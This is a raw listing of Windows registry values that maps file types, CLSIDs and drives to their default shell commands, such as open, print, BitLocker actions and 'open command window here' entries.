HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{450D8FBA-AD25-11D0-98A8-0800361B1103}\shell\cmd\command
    (Default)    REG_SZ    cmd.exe /s /k pushd "%V"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{450D8FBA-AD25-11D0-98A8-0800361B1103}\shell\find\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{48e7caab-b918-4e58-a94d-505519c795dc}\shell\find\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{5ea4f148-308c-46d7-98a9-49041b1dd468}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\mblctr.exe /open

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{62D8ED13-C9D0-4CE8-A914-47DD628FB1B0}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\intl.cpl

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{67718415-c450-4f3c-bf8a-b487642dc39b}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\optionalfeatures.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{6C8EEC18-8D75-41B2-A177-8831D59D2D50}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\main.cpl

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{6DFD7C5C-2451-11d3-A299-00C04F8EF6AF}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Options_RunDLL 0

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{6DFD7C5C-2451-11d3-A299-00C04F8EF6AF}\Shell\RunAs\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Options_RunDLL 0

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{725BE8F7-668E-4C7B-8F90-46BDB0936430}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\main.cpl,@1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{74246bfc-4c96-11d0-abef-0020af6b0b7a}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\mmc.exe %SystemRoot%\system32\devmgmt.msc

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{74246bfc-4c96-11d0-abef-0020af6b0b7a}\Shell\RunAs\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\mmc.exe %SystemRoot%\system32\devmgmt.msc

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7A9D77BD-5403-11d2-8785-2E0420524153}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    netplwiz.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{80F3F1D5-FECA-45F3-BC32-752C152E456E}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\tabletpc.cpl @1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\NoAddOns\Command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" -extoff

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{87D66A43-7B11-4A28-9811-C86EE395ACF7}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\srchadmin.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{8E0C279D-0BD1-43C3-9EBD-31C3DC5B8A77}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\pwcreator.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{A3DD4F92-658A-410F-84FD-6FBBBEF2FFFE}\Shell\Open\Command
    (Default)    REG_SZ    C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,Control_RunDLL C:\Windows\System32\inetcpl.cpl

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B2C761C6-29BC-4f19-9251-E6195265BAF1}\Shell\Open\Command
    (Default)    REG_SZ    "C:\Windows\System32\colorcpl.exe"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B4FB3F98-C1EA-428d-A78A-D1F5659CBA93}\shell\changehomegroupsettings\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\control.exe /name Microsoft.HomeGroup

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B4FB3F98-C1EA-428d-A78A-D1F5659CBA93}\shell\sharewithdevices\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\control.exe /name Microsoft.NetworkAndSharingCenter /page ShareMedia

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B4FB3F98-C1EA-428d-A78A-D1F5659CBA93}\shell\starthomegrouptroubleshooter\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\msdt.exe -id HomegroupDiagnostic

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B4FB3F98-C1EA-428d-A78A-D1F5659CBA93}\shell\viewhomegrouppassword\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\control.exe /name Microsoft.HomeGroup /page Passkey

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D17D1D6D-CC3F-4815-8FE3-607E7D5D10B3}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\Speech\SpeechUX\sapi.cpl

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D4480A50-BA28-11d1-8E75-00C04FA31A86}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    rundll32 %SystemRoot%\System32\shwebsvc.dll,AddNetPlaceRunDll

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{E2E7934B-DCE5-43C4-9576-7FE4F75E7480}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\timedate.cpl

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{E44E5D18-0652-4508-A4E2-8A090067BCB0}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\control.exe /name Microsoft.DefaultPrograms

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{F2DDFC82-8F12-4CDD-B7DC-D4FE1425AA4D}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\mmsys.cpl

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{F82DF8F7-8B9F-442E-A48C-818EA735FF9B}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\tabletpc.cpl @0

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\cmdfile\shell\edit\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\NOTEPAD.EXE %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\cmdfile\shell\open\command
    (Default)    REG_SZ    "%1" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\cmdfile\shell\print\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\NOTEPAD.EXE /p %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\cmdfile\shell\runas\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\cmd.exe /C "%1" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\comfile\shell\open\command
    (Default)    REG_SZ    "%1" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CompressedFolder\Shell\find\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CompressedFolder\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe /idlist,%I,%L

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\contact_wab_auto_file\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" /contact "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\contact_wab_auto_file\shell\print\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" /Print "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\cplfile\shell\cplopen\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\control.exe "%1",%*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\cplfile\shell\runas\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe shell32.dll,Control_RunDLLAsUser "%1",%*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CRLFile\shell\add\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtAddCRL %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CRLFile\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCRL %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\desktopthemepackfile\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\DeviceDisplayObject\AllItems\Shell\Microsoft.DxpOpen\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\DeviceDisplayObject\AllItems\Shell\Microsoft.DxpOpenInNewWindow\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\DeviceDisplayObject\InterfaceClass\{0850302A-B344-4fda-9BE9-90576B8D46F0}\Shell\Bluetooth\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\bthprops.cpl,,1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\DeviceDisplayObject\InterfaceClass\{70FFD812-4C7F-4C7D-926A-637B7DD852AF}\Shell\DeviceInstall\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\newdev.dll,DeviceInternetSettingUi 2

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\DeviceDisplayObject\InterfaceClass\{884b96c3-56ef-11d1-bc8c-00a0c91405dd}\Shell\Regional\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\control.exe %SystemRoot%\System32\intl.cpl,,/p:"keyboard"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Diagnostic.Cabinet\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\msdt.exe /cab "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Diagnostic.Config\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\msdt.exe /path "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Diagnostic.Document\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\msdt.exe /path "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Diagnostic.Perfmon.Config\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\perfmon /sys /load "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Diagnostic.Perfmon.Document\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\perfmon /sys /open "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Diagnostic.Resmon.Config\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\perfmon /res /load "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\background\shell\cmd\command
    (Default)    REG_SZ    cmd.exe /s /k pushd "%V"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\background\shell\Powershell\command
    (Default)    REG_SZ    powershell.exe -noexit -command Set-Location -literalPath '%V'

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\shell\cmd\command
    (Default)    REG_SZ    cmd.exe /s /k pushd "%V"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\shell\find\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\shell\Powershell\command
    (Default)    REG_SZ    powershell.exe -noexit -command Set-Location -literalPath '%V'

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\dlna-playsingle\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Media Player\wmplayer.exe" "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\docxfile\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\docxfile\shell\print\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" /p "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\docxfile\shell\printto\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" /pt "%1" "%2" "%3" "%4"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Drive\shell\change-passphrase\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\bdechangepin.exe -pw %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Drive\shell\change-pin\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\bdechangepin.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Drive\shell\cmd\command
    (Default)    REG_SZ    cmd.exe /s /k pushd "%V"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Drive\shell\encrypt-bde\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\BitLockerWizard.exe %1 T

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Drive\shell\encrypt-bde-elev\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\BitLockerWizardElev.exe %1 T

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Drive\shell\find\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Drive\shell\manage-bde\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\control.exe /name Microsoft.BitLockerDriveEncryption /page ?InitialVolume==%1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Drive\shell\Powershell\command
    (Default)    REG_SZ    powershell.exe -noexit -command Set-Location -literalPath '%V'

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Drive\shell\resume-bde\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\BitLockerWizard.exe %1 V

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Drive\shell\resume-bde-elev\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\BitLockerWizardElev.exe %1 V

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Drive\shell\unlock-bde\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\bdeunlock.exe %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\emffile\shell\open\command
    (Default)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\emffile\shell\print\command
    (Default)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" /p "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\emffile\shell\printto\command
    (Default)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" /pt "%1" "%2" "%3" "%4"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\evtfile\Shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\eventvwr.exe /l:"%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\evtxfile\Shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\eventvwr.exe /l:"%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\shell\open\command
    (Default)    REG_SZ    "%1" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\exefile\shell\runas\command
    (Default)    REG_SZ    "%1" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Explorer.AssocActionId.BurnSelection\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Explorer.AssocActionId.EraseDisc\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Explorer.AssocActionId.ZipSelection\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Explorer.AssocProtocol.search-ms\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe /separate,/idlist,%I,%L

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\FaxCover.Document\shell\open\command
    (Default)    REG_SZ    C:\Windows\System32\fxscover.exe "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\FaxCover.Document\shell\print\command
    (Default)    REG_SZ    C:\Windows\System32\fxscover.exe /P "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\FindApp.DVD\Shell\Play\command
    (Default)    REG_EXPAND_SZ    explorer "ms-windows-store://search/?query=DVD"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Folder\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\fonfile\shell\preview\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\fontview.exe %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\fonfile\shell\print\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\fontview.exe /p %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ftp\shell\open\command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\giffile\shell\Open\command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\giffile\shell\printto\command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\shimgvw.dll",ImageView_PrintTo /pt "%1" "%2" "%3" "%4"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\gmmpfile\shell\Install Profile\command
    (Default)    REG_SZ    "colorcpl.exe" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\group_wab_auto_file\shell\edit\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" /Group "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\group_wab_auto_file\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" /Group "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\group_wab_auto_file\shell\print\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" /Print "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\hlpfile\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\winhlp32.exe %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\htafile\Shell\Open\Command
    (Default)    REG_SZ    C:\Windows\System32\mshta.exe "%1" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}%U{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\htmlfile\shell\open\command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\htmlfile\shell\print\command
    (Default)    REG_EXPAND_SZ    "%systemroot%\system32\rundll32.exe" "%systemroot%\system32\mshtml.dll",PrintHTML "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\htmlfile\shell\printto\command
    (Default)    REG_EXPAND_SZ    "%systemroot%\system32\rundll32.exe" "%systemroot%\system32\mshtml.dll",PrintHTML "%1" "%2" "%3" "%4"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\http\shell\open\command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\https\shell\open\command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\icmfile\shell\Install Profile\command
    (Default)    REG_SZ    "colorcpl.exe" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.HTM\shell\open\command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.HTM\shell\opennew\command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.HTM\shell\print\command
    (Default)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\mshtml.dll",PrintHTML "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.HTM\shell\printto\command
    (Default)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\mshtml.dll",PrintHTML "%1" "%2" "%3" "%4"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.MHT\shell\open\command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.MHT\shell\opennew\command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.PARTIAL\shell\open\command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.SVG\shell\open\command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.SVG\shell\opennew\command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.SVG\shell\print\command
    (Default)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\mshtml.dll",PrintHTML "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.SVG\shell\printto\command
    (Default)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\mshtml.dll",PrintHTML "%1" "%2" "%3" "%4"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.URL\Shell\Open\Command
    (Default)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL %l

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.URL\Shell\print\command
    (Default)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\mshtml.dll",PrintHTML "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.URL\Shell\printto\command
    (Default)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\mshtml.dll",PrintHTML "%1" "%2" "%3" "%4"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.WEBSITE\Shell\Open\Command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" -w "%l" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.XHT\shell\open\command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.XHT\shell\opennew\command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.XHT\shell\print\command
    (Default)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\mshtml.dll",PrintXHTML "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.AssocFile.XHT\shell\printto\command
    (Default)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\mshtml.dll",PrintXHTML "%1" "%2" "%3" "%4"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.FTP\shell\open\command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.HTTP\shell\open\command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IE.HTTPS\shell\open\command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\IMEDictionaryCompiler\shell\open\command
    (Default)    REG_EXPAND_SZ    "%WINDIR%\system32\IME\SHARED\imewdbld.exe" "%1" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\imesxfile\shell\open\command
    (Default)    REG_EXPAND_SZ    "%WINDIR%\system32\IME\SHARED\imesearch.exe" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\inffile\shell\Install\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\InfDefaultInstall.exe "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\inffile\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\NOTEPAD.EXE %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\inffile\shell\print\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\NOTEPAD.EXE /p %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\inifile\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\NOTEPAD.EXE %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\inifile\shell\print\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\NOTEPAD.EXE /p %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\InternetShortcut\shell\Open\Command
    (Default)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL %l

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\InternetShortcut\shell\print\command
    (Default)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\mshtml.dll",PrintHTML "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\InternetShortcut\shell\printto\command
    (Default)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\mshtml.dll",PrintHTML "%1" "%2" "%3" "%4"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\jpegfile\shell\printto\command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\shimgvw.dll",ImageView_PrintTo /pt "%1" "%2" "%3" "%4"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JSEFile\Shell\Edit\Command
    (Default)    REG_SZ    C:\Windows\System32\Notepad.exe %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JSEFile\Shell\Open\Command
    (Default)    REG_SZ    C:\Windows\System32\WScript.exe "%1" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JSEFile\Shell\Open2\Command
    (Default)    REG_SZ    C:\Windows\System32\CScript.exe "%1" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JSEFile\Shell\Print\Command
    (Default)    REG_SZ    C:\Windows\System32\Notepad.exe /p %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\JSFile\Shell\Edit\Command
    (Default)    REG_SZ    C:\Windows\System32\Notepad.exe %1

